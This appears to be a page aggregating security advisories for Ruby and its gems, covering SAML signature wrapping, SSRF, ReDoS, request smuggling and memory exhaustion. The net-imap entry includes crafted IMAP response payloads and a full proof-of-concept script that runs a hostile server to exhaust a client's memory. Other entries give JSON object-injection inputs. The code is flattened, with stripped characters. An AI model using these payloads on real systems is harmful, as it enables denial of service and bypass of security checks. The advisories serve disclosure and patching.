See how ruby compares to other vendors in security performance
Summary An authentication bypass vulnerability was found in ruby-saml due to a parser differential. ReXML and Nokogiri parse XML differently, the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack.
Impact This issue may lead to authentication bypass.
ruby-jwt v3.0.0.beta1 was discovered to contain weak encryption. NOTE: the Supplier's perspective is "keysize is not something that is enforced by this library. Currently more recent versions of OpenSSL are enforcing some key sizes and those restrictions apply to the users of this gem also."
Mastodon is a free, open-source social network server based on ActivityPub. Prior to 4.5.10, 4.4.17, and 4.3.23, when using Ruby versions older than 3.4, PrivateAddressCheck.privateaddress? returns false for IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) corresponding to some private IPv4 addresses, depending on Ruby version, this can include loopback, RFC1918 private networks, and link-local space. An attacker who controls DNS for any domain can publish an AAAA record with such a mapped address; any outbound HTTP fetch Mastodon performs against that hostname then opens a real TCP connection to the underlying IPv4 address, including 127.0.0.1 and cloud-metadata endpoints such as 169.254.169.254. This vulnerability is fixed in 4.5.10, 4.4.17, and 4.3.23.
An issue was discovered in Ruby 4 before 4.0.5. A race condition leading to a use-after-free in the pthread-based getaddrinfo timeout handler (rbgetaddrinfo in ext/socket/raddrinfo.c) allows a remote attacker who can delay DNS responses near the user-specified timeout to crash a Ruby process that calls Addrinfo.getaddrinfo(..., timeout:) or Socket.tcp(..., resolvtimeout:). Memory-corruption-based exploitation is theoretically possible. The attack could, for example, be carried out through a crafted authoritative DNS server or recursive resolver.
Impact
A specially crafted document could cause an out of bound read, most likely resulting in a crash.
Versions 2.10.0 and 2.10.1 are impacted. Older versions are not.
Patches
Version 2.10.2 fixes the problem.
Workarounds
None.
crmne/rubyllm at commit fa6f279847d6d7027814539d9c0dfc3bbdfd2a83 contains a polynomial-time regular expression denial-of-service condition in RubyLLM::Utils.underscore on Ruby 3.1.x. A very long crafted class, agent, or tool name can cause excessive CPU consumption and a denial of service.
A vulnerability was found in Ruby. The Ruby interpreter is vulnerable to the Marvin Attack. This attack allows the attacker to decrypt previously encrypted messages or forge signatures by exchanging a large number of messages with the vulnerable service.
Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths. This vulnerability is fixed in 1.10.6 and 2.14.3.
Summary There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#toa to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.
Details IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.
The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.
Malicious inputs:
ruby 40 bytes expands to ~1.6GB: " OK [COPYUID 1 1:99999999 1:99999999]\r\n"
Worst valid input scenario (using uint32 max), 44 bytes expands to 64GiB: " OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
Numbers must be non-zero uint32, but this isn't validated. Arrays larger than UINT32MAX can be created. For example, the following would theoretically expand to almost 800 exabytes: " OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
Simple way to test this: ruby require "net/imap"
def test(size) input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n" parser = Net::IMAP::ResponseParser.new parser.parse input end
test(99999999)
Fixes
Preferred Fix, minor API changes Upgrade to v0.4.19, v0.5.6, or higher, and configure: ruby globally Net::IMAP.config.parserusedeprecateduidplusdata = false per-client imap = Net::IMAP.new(hostname, ssl: true, parserusedeprecateduidplusdata: false) imap.config.parserusedeprecateduidplusdata = false
This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.
For v0.3.8, this option is not available. For v0.4.19, the default value is true. For v0.5.6, the default value is :uptomaxsize. For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).
Mitigation, backward compatible API Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.
Assign config.parsermaxdeprecateduidplusdatasize to set the maximum UIDPlusData UID set size. When config.parserusedeprecateduidplusdata == true, larger sets will raise Net::IMAP::ResponseParseError. When config.parserusedeprecateduidplusdata == :uptomaxsize, larger sets will use AppendUIDData or CopyUIDData.
For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).
Please Note: unhandled responses If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:
ruby limit = 1000 imap.addresponsehandler do |resp| next unless resp.respondto?(:name) && resp.respondto?(:data) name = resp.name code = resp.data.code&.name if resp.data.respondto?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { 1.slice!(0...-limit) } imap.responses(code) { 1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end
Proof of concept
Save the following to a ruby file (e.g: poc.rb) and make it executable: ruby #!/usr/bin/env ruby require 'socket' require 'net/imap'
if !defined?(Net::IMAP.config) puts "Net::IMAP.config is not available" elsif !Net::IMAP.config.respondto?(:parserusedeprecateduidplusdata) puts "Net::IMAP.config.parserusedeprecateduidplusdata is not available" else Net::IMAP.config.parserusedeprecateduidplusdata = :uptomaxsize puts "Updated parserusedeprecateduidplusdata to :uptomaxsize" end
size = Integer(ENV["UIDSETSIZE"] || 232-1)
def serveraddr Addrinfo.tcp("localhost", 0).ipaddress end
def createtcpserver TCPServer.new(serveraddr, 0) end
def startserver th = Thread.new do yield end sleep 0.1 until th.stop? end
def copyuidresponse(tag: "", size: 232-1, text: "too large?") "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n" end
def appenduidresponse(tag: "", size: 232-1, text: "too large?") "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n" end
server = createtcpserver port = server.addr[1] puts "Server started on port #{port}"
server startserver do sock = server.accept begin sock.print " OK test server\r\n" cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}"
maliciousresponse = appenduidresponse(size:) puts "Sending: #{maliciousresponse.chomp}" sock.print maliciousresponse
maliciousresponse = copyuidresponse(size:) puts "Sending: #{maliciousresponse.chomp}" sock.print maliciousresponse sock.print " CAPABILITY JUMBO=UIDPLUS PROOFOFCONCEPT\r\n" sock.print "#{tag} OK CAPABILITY completed\r\n"
cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}" sock.print " BYE If you made it this far, you passed the test!\r\n" sock.print "#{tag} OK LOGOUT completed\r\n" rescue Exception => ex puts "Error in server: #{ex.message} (#{ex.class})" ensure sock.close server.close end end
client begin puts "Client connecting,.." imap = Net::IMAP.new(serveraddr, port: port) puts "Received capabilities: #{imap.capability}" pp responses: imap.responses imap.logout rescue Exception => ex puts "Error in client: #{ex.message} (#{ex.class})" puts ex.fullmessage ensure imap.disconnect if imap end
Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB: console $ ( ulimit -v 1000000 && exec ./poc.rb ) Server started on port 34291 Client connecting,.. Received: RUBY0001 CAPABILITY Sending: OK [APPENDUID 1 1:4294967295] too large? Sending: OK [COPYUID 1 1:4294967295 1:4294967295] too large? Error in server: Connection reset by peer @ iofillbuf - fd:9 (Errno::ECONNRESET) Error in client: failed to allocate memory (NoMemoryError) /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#gettaggedresponse': failed to allocate memory (NoMemoryError) from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#sendcommand' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#monsynchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#sendcommand' from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#monsynchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability' from /workspace/poc.rb:70:in '<main>'
This vulnerability allows remote attackers to smuggle arbitrary HTTP requests on affected installations of Ruby WEBrick. This issue is exploitable when the product is deployed behind an HTTP proxy that fulfills specific conditions. The specific flaw exists within the readheaders method. The issue results from the inconsistent parsing of terminators of HTTP headers. An attacker can leverage this vulnerability to smuggle arbitrary HTTP requests.
This vulnerability allows remote attackers to smuggle arbitrary HTTP requests on affected installations of Ruby WEBrick. This issue is exploitable when the product is deployed behind an HTTP proxy that fulfills specific conditions. The specific flaw exists within the readheaders method. The issue results from the inconsistent parsing of terminators of HTTP headers. An attacker can leverage this vulnerability to smuggle arbitrary HTTP requests.
Admin Framework. A logic issue was addressed with improved checks.
REXML is an XML toolkit for Ruby. The REXML gem before 3.3.2 has some DoS vulnerabilities when it parses an XML that has many specific characters such as whitespace character, >] and ]>. The REXML gem 3.3.3 or later include the patches to fix these vulnerabilities.
REXML is an XML toolkit for Ruby. The REXML gem before 3.3.6 has a DoS vulnerability when it parses an XML that has many deep elements that have same local name attributes. If you need to parse untrusted XMLs with tree parser API like REXML::Document.new, you may be impacted to this vulnerability. If you use other parser APIs such as stream parser API and SAX2 parser API, this vulnerability is not affected. The REXML gem 3.3.6 or later include the patch to fix the vulnerability.
REXML is an XML toolkit for Ruby. The REXML gem before 3.3.9 has a ReDoS vulnerability when it parses an XML that has many digits between &# and x...; in a hex numeric character reference (&#x...;). This does not happen with Ruby 3.2 or later. Ruby 3.1 is the only affected maintained Ruby. The REXML gem 3.3.9 or later include the patch to fix the vulnerability.
Ruby interpreter is vulnerable to the Marvin Attack. This attack allows the attacker to decrypt previously encrypted messages or forge signatures by exchanging large number of messages with the vulnerable service.
The attacker needs to be able to directly or indirectly measure the time of calling to RSA::privatedecrypt() or PKey::decrypt() and the error handling of those methods. Attacks over network are possible if network service can be made to perform calls to those functions with attacker controlled messages.
An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby. It allows HTTP request smuggling by providing both a Content-Length header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n" inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's position is "Webrick should not be used in production."
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#toa to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.
In the CGI gem before 0.4.2 for Ruby, a Regular Expression Denial of Service (ReDoS) vulnerability exists in the Util#escapeElement method.
In the CGI gem before 0.4.2 for Ruby, the CGI::Cookie.parse method in the CGI library contains a potential Denial of Service (DoS) vulnerability. The method does not impose any limit on the length of the raw cookie value it processes. This oversight can lead to excessive resource consumption when parsing extremely large cookies.
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to 0.6.5 and 0.5.15, several Net::IMAP commands accept a "raw data" argument that is sent verbatim after validation to prevent command injection. However, if a server does not support non-synchronizing literals, it may still be possible to inject arbitrary IMAP commands inside non-synchronizing literals. A server without support for non-synchronizing literals may interpret the "+}\r\n" as the end of a malformed command line and respond with a tagged BAD. In that case, the contents of the literal will be interpreted as one or more new pipelined commands, allowing a CRLF command injection attack to succeed. This affects criteria for #search and #uidsearch; searchkeys for #sort, #thread, #uidsort, and #uidthread; and attr for #fetch and #uidfetch. This vulnerability is fixed in 0.6.5 and 0.5.15.
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to 0.6.5 and 0.5.15, several Net::IMAP commands accept a raw string argument which is only validated to prevent CRLF injection and then sent verbatim. If this string is derived from user-controlled input, an attacker can force the next command to be absorbed as a continuation of the first command. This will cause the first command to eventually fail, but also prevents it from returning until another command is sent (from another thread). That other command will not return until the connection is closed. This vulnerability is fixed in 0.6.5 and 0.5.15.
The Time parser mishandles invalid strings that have specific characters. It causes an increase in execution time for parsing strings to Time objects.
A ReDoS issue was discovered in the Time gem 0.1.0 and 0.2.1 and Time library of Ruby 2.7.7.
cgi.rb in Ruby through 2.6.x, through 3.0x, and through 3.1.x allows HTTP header injection. If a CGI application using the CGI library inserts untrusted input into the HTTP response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients.
References: https://www.ruby-lang.org/en/security/ https://www.ruby-lang.org/en/news/2022/11/22/http-response-splitting-in-cgi-cve-2021-33621/ https://github.com/rubysec/ruby-advisory-db/blob/master/gems/cgi/CVE-2021-33621.yml https://github.com/ruby/cgi/compare/v0.1.0.1...v0.1.0.2
Array#pack method converts the receiver’s contents into a string with specified format. If the receiver contains some tainted objects, the returned string also should be tainted. String#unpack method which converts the receiver into an array also should propagate its tainted flag to the objects contained in the returned array. But, with B, b, H and h directives, the tainted flags are not propagated. So, if a script processes unreliable inputs by Array#pack and/or String#unpack with these directives and checks the reliability with tainted flags, the check might be wrong.
External References:
https://www.ruby-lang.org/en/news/2018/10/17/not-propagated-taint-flag-in-some-formats-of-pack-cve-2018-16396/
A Directory Traversal issue was discovered in RubyGems 2.7.6 and later through 3.0.2. Before making new directories or touching files (which now include path-checking code for symlinks), it would delete the target destination. If that destination was hidden behind a symlink, a malicious gem could delete arbitrary files on the user’s machine, presuming the attacker could guess at paths. Given how frequently gem is run as sudo, and how predictable paths are on modern systems (/tmp, /usr, etc.), this could likely lead to data loss or an unusable system.
Upstream patch:
https://bugs.ruby-lang.org/attachments/7669
References:
https://www.ruby-lang.org/en/news/2019/03/05/multiple-vulnerabilities-in-rubygems/ https://blog.rubygems.org/2019/03/05/security-advisories-2019-03.html
A security vulnerability that causes buffer overflow when you pass a very large string (> 700 MB) to CGI.escapehtml on a platform where long type takes 4 bytes, typically, Windows.
Reference: https://www.ruby-lang.org/en/news/2021/11/24/buffer-overrun-in-cgi-escapehtml-cve-2021-41816/
Aaron Patterson of Ruby on Rails project reports:
Denial of Service and Unsafe Object Creation Vulnerability in JSON
There is a denial of service and unsafe object creation vulnerability in the json gem. This vulnerability has been assigned the CVE identifier CVE-2013-0269.
Versions Affected: All. This includes JSON that ships with Ruby 1.9.X-pXXX Not affected: NONE Fixed Versions: 1.7.7, 1.6.8, 1.5.5
Impact ------ When parsing certain JSON documents, the JSON gem can be coerced in to creating Ruby symbols in a target system. Since Ruby symbols are not garbage collected, this can result in a denial of service attack.
The same technique can be used to create objects in a target system that act like internal objects. These "act alike" objects can be used to bypass certain security mechanisms and can be used as a spring board for SQL injection attacks in Ruby on Rails.
Impacted code looks like this:
JSON.parse(userinput)
Where the userinput variable will have a JSON document like this:
{"jsonclass":"foo"}
The JSON gem will attempt to look up the constant "foo". Looking up this constant will create a symbol.
In JSON version 1.7.x, objects with arbitrary attributes can be created using JSON documents like this:
{"jsonclass":"JSON::GenericObject","foo":"bar"}
This document will result in an instance of JSON::GenericObject, with the attribute "foo" that has the value "bar". Instantiating these objects will result in arbitrary symbol creation and in some cases can be used to bypass security measures.
PLEASE NOTE: this behavior does not change when using JSON.load. JSON.load should never be given input from unknown sources. If you are processing JSON from an unknown source, always use JSON.parse.
All users running an affected release should either upgrade or use one of the work arounds immediately.
Releases -------- The FIXED releases are available at the normal locations.
Workarounds ----------- For users that cannot upgrade, please use the attached patches. If you cannot use the attached patches, change your code from this:
JSON.parse(json)
To this:
JSON.parse(json, :createadditions => false)
If you cannot change the usage of JSON.parse (for example you're using a gem which depends on JSON.parse like multijson), then apply this monkey patch:
module JSON class << self alias :oldparse :parse def parse(json, args = {}) args[:createadditions] = false oldparse(json, args) end end end
Patches ------- To aid users who aren't able to upgrade immediately we have provided patches for the three supported release series. They are in git-am format and consist of a single changeset.
1-7-VULN.patch - Patch for the 1.7 series 1-6-VULN.patch - Patch for the 1.6 series 1-5-VULN.patch - Patch for the 1.5 series
Credits ------- Thomas Hollstegge of Zweitag (www.zweitag.de) Ben Murphy
Ruby 1.9.3-p327 was released to correct a hash-flooding DoS vulnerability that only affects 1.9.x and the 2.0.0 preview [1].
As noted in the upstream report:
Carefully crafted sequence of strings can cause a denial of service attack on the service that parses the sequence to create a Hash object by using the strings as keys. For instance, this vulnerability affects web application that parses the JSON data sent from untrusted entity.
This vulnerability is similar to CVS-2011-4815 for ruby 1.8.7. ruby 1.9 versions were using modified MurmurHash function but it's reported that there is a way to create sequence of strings that collide their hash values each other. This fix changes the Hash function of String object from the MurmurHash to SipHash 2-4.
Ruby 1.8.x is not noted as being affected by this flaw.
[1] http://www.ruby-lang.org/en/news/2012/11/09/ruby19-hashdos-cve-2012-5371/
A flaw was discovered in a way various ruby net:: modules verify commonName (CN) attribute of SSL certificate provided by server against requested hostname, which makes it easier for remote attackers to intercept SSL transmissions via a man-in-the-middle attack or spoofed site.
Issue was originally reported for net::http(s) module and was assigned CVE id CVE-2007-5162. However, similar issue also affects other modules: net::ftptls, net::telnets, net::imap and CVS versions of net::pop and net::smtp.
Upstream SVN commit: http://svn.ruby-lang.org/cgi-bin/viewvc.cgi?view=rev&revision=13656